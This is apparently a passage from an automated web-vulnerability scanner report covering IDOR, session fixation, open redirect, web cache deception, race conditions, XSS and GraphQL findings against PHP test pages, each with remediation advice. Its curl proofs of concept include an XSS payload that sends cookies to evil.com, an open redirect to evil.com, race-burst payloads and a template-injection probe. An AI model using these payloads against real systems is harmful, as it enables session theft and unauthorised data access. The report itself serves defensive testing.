Location: npm lockfile: package-lock.json
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Evidence: @ offset 56 — via outdated-component: npm package jquery@3.4.1 (in package-lock.json)
matches CVE-2020-11022 (CWE-79, Medium): XSS via passing HTML from untrusted sourc…
Flow: jquery@3.4.1 is a known-vulnerable dependency (CVE-2020-11022).
Evidence strength: Low (49/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'tests\package-lock.json' --data 'CVE-2020-11022'

Evidence (live response):
npm package jquery@3.4.1 (in package-lock.json) matches CVE-2020-11022 (CWE-79, Medium): XSS via
passing HTML from untrusted sources to DOM manipulation methods. Fixed in 3.5.0 — upgrade to >=
3.5.0.

Remediation
Upgrade the flagged component to a fixed release; version-indicated — verify against your actual
(possibly backported) build.

• Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
• Confirm the real installed version — a backported security fix can leave the banner version unchanged
(avoid false positives).
• Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce
fingerprinting.
• Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

[42] GGC-IDOR-CAD · IDOR — id
CONFIRMED CVSS 6,5 Medium · CWE-639 Authorization Bypass Through User-Controlled Key (IDOR) · Priority P2
(Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

Object references aren't authorization-checked, so changing an id exposes or modifies other users' data (IDOR).
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism

Location: /idor_test.php
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
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Evidence: @ offset 156 — via idor-enumeration: …ds returned to one session: 3 sample:
{"status":"ok","id":1,"account":{"name":"Alice Owner","email":"alice@example.com","ssn":"111-…
Flow: GET parameter 'id' selects an account record via ?action=account&id=N with NO check that the id
belongs to $_SESSION['uid']. Any logged-in user (uid=1) can read any other user's private data (ssn, email,
balance) by iterating id=1,2,3.
Evidence strength: High (100/100)

+50 Confirmed (strong signal)
+20 Direct detection (idor-enumeration)
+15 Damning token in response (""ssn"")
+6 Expected indicator reflected
+5 Stable 2xx response
+18 Baseline-diff (matched control rejected)

Proof of Concept
Reproduce:
curl -i 'idor_test.php?action=account&id=2'

Evidence (live response):
[IDOR param=id] id=1:200(obj); id=2:200(obj); id=3:200(obj); control=999:404(rej) distinct records
returned to one session: 3 sample: {"status":"ok","id":1,"account":{"name":"Alice
Owner","email":"alice@example.com","ssn":"111-11-1111","balance":1200}}

Remediation
Enforce per-object authorization on every request — verify the current user owns (or may access)
the referenced object.

• On every object access, check ownership/permission server-side: the session identity must be
authorized for the requested id, never the id alone.
• Scope queries to the authenticated user (WHERE owner_id = :sessionUser) instead of trusting a client-
supplied id.
• Prefer unpredictable, non-sequential identifiers (UUIDs) so ids cannot be trivially enumerated —
defense in depth, not a substitute for authz.
• Add access-control tests and centralize authorization in middleware/policies rather than ad-hoc per-
endpoint checks.

References: CWE-639 · CWE-284 · OWASP: Insecure Direct Object Reference Prevention Cheat Sheet · OWASP API1:2023 Broken
Object Level Authorization

[43] GGC-IDOR-A0B · IDOR — id
CONFIRMED CVSS 6,5 Medium · CWE-639 Authorization Bypass Through User-Controlled Key (IDOR) · Priority P2
(Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

Object references aren't authorization-checked, so changing an id exposes or modifies other users' data (IDOR).
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism

Location: /idor_uuid_test.php
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Evidence: @ offset 386 — via idor-enumeration: …{"status":"ok","id":"a8f5f167-f4f5-4db8-a8e9-
b0f1c2d3e4f5","account":{"name":"Alice Owner","email":"alice@example.com","ssn":"111-…
Flow: GET parameter 'id' selects an account by UUID via ?action=account&id=UUID with NO check that the
UUID belongs to $_SESSION['uid']. IDs are non-sequential UUIDs, but the ?action=list endpoint exposes all
UUIDs. Any logged-in user can read any other user's private record.
Evidence strength: High (100/100)

+50 Confirmed (strong signal)
+20 Direct detection (idor-enumeration)
+15 Damning token in response (""ssn"")
+6 Expected indicator reflected
+5 Stable 2xx response
+18 Baseline-diff (matched control rejected)

Proof of Concept
Reproduce:
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curl -i 'idor_uuid_test.php?action=account&id=b7e4d216-1c2b-4a3c-9d8e-7f6a5b4c3d2e'

Evidence (live response):
[IDOR param=id] [crawled 3 id(s) from /idor_uuid_test.php?action=list] id=a8f5f167-f4f5-4db8-a8e9-
b0f1c2d3e4f5:200(obj); id=b7e4d216-1c2b-4a3c-9d8e-7f6a5b4c3d2e:200(obj); id=c6d3a905-2b1a-4f9d-
8c7b-6e5d4c3b2a19:200(obj); control=00000000-0000-0000-0000-000000000000:404(rej) disti…

Remediation
Enforce per-object authorization on every request — verify the current user owns (or may access)
the referenced object.

• On every object access, check ownership/permission server-side: the session identity must be
authorized for the requested id, never the id alone.
• Scope queries to the authenticated user (WHERE owner_id = :sessionUser) instead of trusting a client-
supplied id.
• Prefer unpredictable, non-sequential identifiers (UUIDs) so ids cannot be trivially enumerated —
defense in depth, not a substitute for authz.
• Add access-control tests and centralize authorization in middleware/policies rather than ad-hoc per-
endpoint checks.

References: CWE-639 · CWE-284 · OWASP: Insecure Direct Object Reference Prevention Cheat Sheet · OWASP API1:2023 Broken
Object Level Authorization

[44] GGC-VULN-320 · SESSION_FIXATION — PHPSESSID
CONFIRMED CVSS 6,4 Medium (Base 6,8 Medium) · CWE-384 Session Fixation · Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N/E:H/RC:C

The session id is not regenerated on login, so an attacker who fixes a known id can hijack the authenticated session.
Compliance: A07:2021 – Identification and Authentication Failures · PCI-DSS v4.0 Req 8.3.1 / 8.6 / 3.6 (key mgmt) · ISO/IEC
27001:2022 A.8.5 / A.5.17 / A.8.24 · GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1539 Steal Web Session Cookie

Location: /sessionfix_test.php?action=login
Impact: SESSION_THEFT (Direct)
Access: Customer
Flow: sessionfix_test.php sets session.use_strict_mode=0, allowing the server to accept an attacker-chosen
PHPSESSID cookie. On login (?action=login), it sets $_SESSION['user']='victim' but never calls
session_regenerate_id(). An attacker can fixate a session id, trick the victim into authenticating with it, and
then hijack the authenticated session.
Evidence strength: Medium (75/100)

+50 Confirmed (strong signal)
+20 Direct detection (session-fixation)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'sessionfix_test.php?action=login'

Evidence (live response):
[SESSION FIXATION] logged in while presenting PHPSESSID=ggsecfixed650d73a49e06; the server did NOT
regenerate the session id (Set-Cookie issued: none). The attacker-chosen id is now an
authenticated session (verified: True).

Remediation
Regenerate the session identifier on every privilege change (login), and harden the session cookie.

• Call session_regenerate_id(true) / equivalent immediately after successful authentication.
• Reject session IDs the server didn't issue; never accept a session id from the URL.
• Set HttpOnly, Secure and SameSite on the session cookie; expire idle sessions.

References: CWE-384 · OWASP: Session Management Cheat Sheet

[45] GGC-REDIR-134 · OPEN_REDIRECT — redirect
CONFIRMED CVSS 6,1 Medium · CWE-601 Open Redirect · Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:H/RC:C
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An unvalidated redirect target lets an attacker send victims to a malicious site under the app's trust.
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1204 User Execution

Location: race_and_files.php
Impact: SESSION_THEFT (Direct)
Access: Unauthenticated
Flow: header('Location: ' . $_GET['redirect']) — user input flows directly into a Location header with no
validation. Attacker can redirect to any external domain.
Evidence strength: Medium (73/100)

+50 Confirmed (strong signal)
+20 Direct detection (redirect-header)
+3 Reproduced by 3 payload(s)

Proof of Concept
Reproduce:
curl -i -X POST 'race_and_files.php?redirect=https%3A%2F%2Fevil.com' --data 'https://evil.com'

Evidence (live response):
(no response body captured)

Remediation
Validate redirect targets against an allowlist; never redirect to a raw user-supplied URL.

• Allowlist permitted destinations or use server-side keys mapped to URLs.
• Accept only relative paths; reject absolute URLs and protocol-relative (//) values.

References: CWE-601 · OWASP: Unvalidated Redirects and Forwards Cheat Sheet

[46] GGC-VULN-DCA · WEB_CACHE_DECEPTION — N/A
CONFIRMED CVSS 6,1 Medium · CWE-525 Web Cache Deception (private data cached via static-suffix path) · Priority
P2 (Within 30 days)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N/E:H/RC:C

Sensitive responses are cacheable, so private data can be served from a shared/browser cache.
Compliance: A05:2021 – Security Misconfiguration · PCI-DSS v4.0 Req 2.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.9 / A.8.28 · GDPR Art.
32 (security of processing)
MITRE ATT&CK: T1213 Data from Information Repositories

Location: webcache_test.php
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Evidence: @ offset 136 — via web-cache-deception: …red the static suffix and returned private content
(marker 'GGSEC_PRIVATE_DATA'); the response is cacheable — a shared cache keyed on the…
Flow: Authenticated page returns private content (Account info, Secret: GGSEC_PRIVATE_DATA) with
Cache-Control: public, max-age=60. The page does not validate PATH_INFO, so
/webcache_test.php/nonexistent.css would serve the same private content but be cached by a shared proxy
as a static CSS file. An attacker tricks a victim into visiting the suffixed URL; the proxy caches the response;
the attacker then fetches the cached copy anonymously.
Evidence strength: Medium (81/100)

+50 Confirmed (strong signal)
+20 Direct detection (web-cache-deception)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'webcache_test.php/ggsec_wcd.css' --data 'WEBCACHE:/ggsec_wcd.css'

Evidence (live response):
[WEB CACHE DECEPTION] authenticated GET webcache_test.php/ggsec_wcd.css ignored the static suffix
and returned private content (marker 'GGSEC_PRIVATE_DATA'); the response is cacheable — a shared
cache keyed on the .css/.js extension would store and serve this private page to othe…
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Remediation
Stop the app from serving dynamic/private content on static-looking URLs, and make the cache key
on content-type not extension.

• Return 404/redirect for unexpected path suffixes; don't ignore trailing PATH_INFO on dynamic routes.
• Send Cache-Control: no-store on authenticated responses so no cache stores them regardless of URL.
• Configure the CDN/proxy to cache by Content-Type / explicit rules, not by URL extension (.css/.js/.jpg).
• Disable AcceptPathInfo on script endpoints that don't use it.

References: CWE-525 · OWASP/PortSwigger: Web Cache Deception

[47] GGC-VULN-116 · WEB_CACHE_DECEPTION — N/A
CONFIRMED CVSS 6,1 Medium · CWE-525 Web Cache Deception (private data cached via static-suffix path) · Priority
P2 (Within 30 days)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N/E:H/RC:C

Sensitive responses are cacheable, so private data can be served from a shared/browser cache.
Compliance: A05:2021 – Security Misconfiguration · PCI-DSS v4.0 Req 2.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.9 / A.8.28 · GDPR Art.
32 (security of processing)
MITRE ATT&CK: T1213 Data from Information Repositories

Location: /cache_test.php
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Evidence: @ offset 133 — via web-cache-deception: …red the static suffix and returned private content
(marker '123-45-6789'); an ANONYMOUS request to the same URL returned the victim…
Flow: cache_test.php serves highly sensitive content (SSN, balance, auth token) with Cache-Control: public,
max-age=3600. A proxy/CDN caches the response. An attacker tricks the victim into visiting
/cache_test.php/x.css; the cache stores it as a static asset; the attacker then fetches the cached page
anonymously.
Evidence strength: Medium (81/100)

+50 Confirmed (strong signal)
+20 Direct detection (web-cache-deception)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'cache_test.php/ggsec_wcd.css' --data 'WEBCACHE:/ggsec_wcd.css'

Evidence (live response):
[WEB CACHE DECEPTION] authenticated GET cache_test.php/ggsec_wcd.css ignored the static suffix and
returned private content (marker '123-45-6789'); an ANONYMOUS request to the same URL returned the
victim's private content (a shared cache is serving it). <html><body><h1>Account</…

Remediation
Stop the app from serving dynamic/private content on static-looking URLs, and make the cache key
on content-type not extension.

• Return 404/redirect for unexpected path suffixes; don't ignore trailing PATH_INFO on dynamic routes.
• Send Cache-Control: no-store on authenticated responses so no cache stores them regardless of URL.
• Configure the CDN/proxy to cache by Content-Type / explicit rules, not by URL extension (.css/.js/.jpg).
• Disable AcceptPathInfo on script endpoints that don't use it.

References: CWE-525 · OWASP/PortSwigger: Web Cache Deception

[48] GGC-RACE-523 · RACE_CONDITION — redeem
CONFIRMED CVSS 5,9 Medium · CWE-362 Race Condition (TOCTOU) · Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:H/RC:C

A time-of-check/time-of-use race lets concurrent requests bypass a limit or double-spend.
Compliance: A04:2021 – Insecure Design · PCI-DSS v4.0 Req 6.2.4 (business-logic) · ISO/IEC 27001:2022 A.8.28 / A.8.27 · GDPR Art.
25 + Art. 32 (data protection by design)
MITRE ATT&CK: T1499 Endpoint Denial of Service
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Location: /race_singlepacket_test.php
Impact: PRIV_ESC (Direct)
Access: Unauthenticated
Evidence: @ offset 119 — via race-single-packet: …52399µs] race: 5/20 succeeded (safe max 1), count=1
sample: REDEEMED
Flow: A file-backed coupon redemption with non-atomic check-then-act: reads the counter from a temp file,
checks count < LIMIT (1), usleep(3000) widens the TOCTOU window, then writes count+1 back with no
flock(). Concurrent POST requests all read count=0 before any write lands, each getting 'REDEEMED' —
over-redemption beyond the limit of 1.
Evidence strength: Medium (81/100)

+50 Confirmed (strong signal)
+20 Direct detection (race-single-packet)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
# fire concurrently (burst) — payload:
RACE:body=redeem=1|reset=/race_singlepacket_test.php?reset|burst=20|max=1|balance=/race_singlepacket_test.php?count

curl -i -X POST 'race_singlepacket_test.php'

Evidence (live response):
[single-packet (last-byte-sync), 20 conn, arrival spread 3252399µs] race: 5/20 succeeded (safe max
1), count=1 sample: REDEEMED

Remediation
Make the check-and-act atomic with a transaction, row lock, or atomic DB operation.

• Wrap read-decide-write in a transaction with SELECT ... FOR UPDATE (pessimistic lock).
• Or use a single atomic statement / conditional UPDATE (UPDATE ... WHERE balance >= amount).
• Add idempotency keys / optimistic-locking version columns for multi-step flows.

References: CWE-362 · OWASP: Race condition / TOCTOU guidance

[49] GGC-RACE-C4B · RACE_CONDITION — transfer
CONFIRMED CVSS 5,9 Medium · CWE-362 Race Condition (TOCTOU) · Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:H/RC:C

A time-of-check/time-of-use race lets concurrent requests bypass a limit or double-spend.
Compliance: A04:2021 – Insecure Design · PCI-DSS v4.0 Req 6.2.4 (business-logic) · ISO/IEC 27001:2022 A.8.28 / A.8.27 · GDPR Art.
25 + Art. 32 (data protection by design)
MITRE ATT&CK: T1499 Endpoint Denial of Service

Location: /race_test.php
Impact: PRIV_ESC (Direct)
Access: Unauthenticated
Evidence: @ offset 126 — via race-single-packet: …] race: 11/20 succeeded (safe max 1), balance=-1000
sample: Transfer complete
Flow: A database-backed balance transfer with non-atomic check-then-act (TOCTOU): SELECT balance,
check balance >= amount, usleep(50000) widens the race window, then UPDATE balance. No SELECT
FOR UPDATE, no transaction, no row lock. Concurrent transfer requests all read the original balance before
any debit, all pass the check, and all debit — driving the balance negative (over-withdrawal).
Evidence strength: Medium (81/100)

+50 Confirmed (strong signal)
+20 Direct detection (race-single-packet)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
# fire concurrently (burst) — payload:
RACE:body=transfer=1&from=1&to=2&amount=100|reset=/race_test.php?reset|burst=20|max=1|balance=/race_test.php?balance=1

curl -i -X POST 'race_test.php'



GGSec Cortex v0.9 Beta · GG Advanced IT Security · ggsec.de · CONFIDENTIAL · page 38 / 40

Evidence (live response):
[single-packet (last-byte-sync), 20 conn, arrival spread 2047926µs] race: 11/20 succeeded (safe
max 1), balance=-1000 sample: Transfer complete

Remediation
Make the check-and-act atomic with a transaction, row lock, or atomic DB operation.

• Wrap read-decide-write in a transaction with SELECT ... FOR UPDATE (pessimistic lock).
• Or use a single atomic statement / conditional UPDATE (UPDATE ... WHERE balance >= amount).
• Add idempotency keys / optimistic-locking version columns for multi-step flows.

References: CWE-362 · OWASP: Race condition / TOCTOU guidance

[50] GGC-XSS-D7C · XSS — safe_username
CONFIRMED CVSS 5,4 Medium (Base 6,1 Medium) · CWE-79 Cross-site Scripting · Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N/E:H/RC:C

Untrusted input is reflected into a page without encoding, so attacker script runs in the victim's browser (session theft).
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1059.007 Command and Scripting Interpreter: JavaScript · T1185 Browser Session Hijacking

Location: nosql_test.php:18
Impact: SESSION_THEFT (Low)
Access: Customer
Flow: [Regex safety-net — the AI SAST did NOT flag this sink; added as a backstop against false-negatives.
Low confidence, verify manually.] Regex-SAST (no LLM): tainted ${_REQUEST}['safe_username'] reaches a
XSS sink at nosql_test.php:18 without an escape/parameterisation guard on the line. Heuristic — verify.
Evidence strength: Medium (81/100)

+50 Confirmed (strong signal)
+20 Direct detection (xss-reflection)
+6 Reproduced by 35 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i
'nosql_test.php?safe_username=%22%3Cscript%3Efetch%28%27https%3A%2F%2Fevil.com%3Fc%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E%22'

Evidence (live response):
{"query":{"username":"\"<script>fetch('https:\/\/evil.com?c='+document.cookie)<\/script>\""},"result":null}

Remediation
Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.

• Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
• Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
• Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.

References: CWE-79 · OWASP: XSS Prevention Cheat Sheet

[51] GGC-GQL-DBD · GRAPHQL_INJECTION — query
CONFIRMED CVSS 5,3 Medium · CWE-200 Exposure of Sensitive Information (GraphQL) · Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:H/RC:C

Missing authorization or an information exposure lets an attacker access data/actions they shouldn't.
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /graphql_test.php
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
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Evidence: @ offset 10 — via graphql-introspection-leak:
{"data":{"__schema":{"queryType":{"name":"Query"},"types":[{"kind":"OBJECT","n…
Flow: GraphQL introspection: the endpoint checks strpos($query, '__schema') and returns the full schema
including the sensitive 'password' field without any authentication. Unauthenticated schema leak.
Evidence strength: High (90/100)

+50 Confirmed (strong signal)
+20 Direct detection (graphql-introspection-leak)
+15 Damning token in response ("__schema")
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/graphql_test.php' --data
'INTROSPECT:{__schema{queryType{name} types{name fields{name}}}}'

Evidence (live response):
{"data":{"__schema":{"queryType":{"name":"Query"},"types":[{"kind":"OBJECT","name":"User","fields":[{"name":"id","type":{"name":"ID"}},{"name":"username","type":{"name":"String"}},{"name":"password","type":{"name":"String"}},{"name":"role","type":{"name":"String"}}]},{"kind":"OBJ…

Remediation
Disable GraphQL introspection in production and require authentication before resolving queries.

• Turn off introspection (__schema/__type) outside development.
• Require authentication/authorization before resolving any query.
• Apply query depth/complexity limits to blunt abuse.

References: CWE-200 · OWASP: GraphQL Cheat Sheet

[52] GGC-RACE-DB7 · RACE_CONDITION — action
CONFIRMED CVSS 5,3 Medium (Base 5,9 Medium) · CWE-362 Race Condition (TOCTOU) · Priority P2 (Within 30
days)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RC:C

A time-of-check/time-of-use race lets concurrent requests bypass a limit or double-spend.
Compliance: A04:2021 – Insecure Design · PCI-DSS v4.0 Req 6.2.4 (business-logic) · ISO/IEC 27001:2022 A.8.28 / A.8.27 · GDPR Art.
25 + Art. 32 (data protection by design)
MITRE ATT&CK: T1499 Endpoint Denial of Service

Location: race_and_files.php
Impact: PRIV_ESC (Direct)
Access: Customer
Evidence: @ offset 467 — via race-single-packet: …tton>Upload</button> </form> sample:
{"status":"ok","msg":"Redeemed! Remaining: 50"}
Flow: Classic TOCTOU: file_get_contents reads points, checks if >= 50, then usleep(200ms), then writes
new balance. No file locking. Concurrent requests all read the pre-decrement value and all pass the check,
allowing multiple redemptions from insufficient balance.
Evidence strength: Medium (81/100)

+50 Confirmed (strong signal)
+20 Direct detection (race-single-packet)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'race_and_files.php?action=redeem&action=redeem' --data
'RACE:body=action=redeem|burst=20|max=2|balance=/race_and_files.php'

Evidence (live response):
[single-packet (last-byte-sync), 20 conn, arrival spread 2615949µs] race: 8/20 succeeded (safe max
2), <h2>Race & Files Test Page</h2> <p><a href='?action=redeem'>Redeem 50 points (Race condition
test - send concurrent burst here!)</a></p> <p>Current points: 0</p> <form enctyp…

Remediation
Make the check-and-act atomic with a transaction, row lock, or atomic DB operation.

• Wrap read-decide-write in a transaction with SELECT ... FOR UPDATE (pessimistic lock).
• Or use a single atomic statement / conditional UPDATE (UPDATE ... WHERE balance >= amount).
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• Add idempotency keys / optimistic-locking version columns for multi-step flows.
References: CWE-362 · OWASP: Race condition / TOCTOU guidance

[53] GGC-VULN-B8F · PII_EXPOSURE — Email address
PROBABLE CVSS 0,0 None · CWE-359 Exposure of Private Personal Information · Priority P3 (Next release)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

Personal data is exposed in responses without need or access control (privacy / GDPR concern).
Compliance: A02:2021 – Cryptographic Failures · PCI-DSS v4.0 Req 3.4.1 / 3.5.1 · ISO/IEC 27001:2022 A.5.34 / A.8.24 · GDPR Art.
5(1)(f) + Art. 32 + Art. 34 (breach notification)
MITRE ATT&CK: T1213 Data from Information Repositories

Location: HTTP response body
Impact: NONE (Direct)
Access: Unauthenticated
Flow: The application returns Email address in a response body; sensitive personal data / credentials are
exposed to the client (and any intermediary).
Evidence strength: Low (43/100)

+18 Likely (weak signal only)
+20 Direct detection (pii-email)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'ssti_test.php?name=%7B%7Bphpinfo%28%29%7D%7D'

Evidence (live response):
Exposed Email address in a response body — 17 occurrence(s). Masked sample: l***@php.net. First
seen: ssti_test.php?name=%7B%7Bphpinfo%28%29%7D%7D. Personal data / secrets should not be returned
to unauthorised contexts (GDPR/RODO Art. 32).

Remediation
Stop returning personal data / secrets in responses; minimise, mask, and access-control sensitive
fields.

• Remove secrets (keys/tokens/private keys) from responses entirely; rotate any that leaked.
• Return only the fields the client needs (data minimisation); mask IDs/cards (e.g. last 4) server-side.
• Gate personal data behind authorization and send Cache-Control: no-store on those responses.
• Map this to GDPR/RODO Art. 5 (minimisation) & Art. 32 (security of processing); log/justify any PII
egress.

References: CWE-359 · OWASP: Sensitive Data Exposure · GDPR/RODO Art. 32
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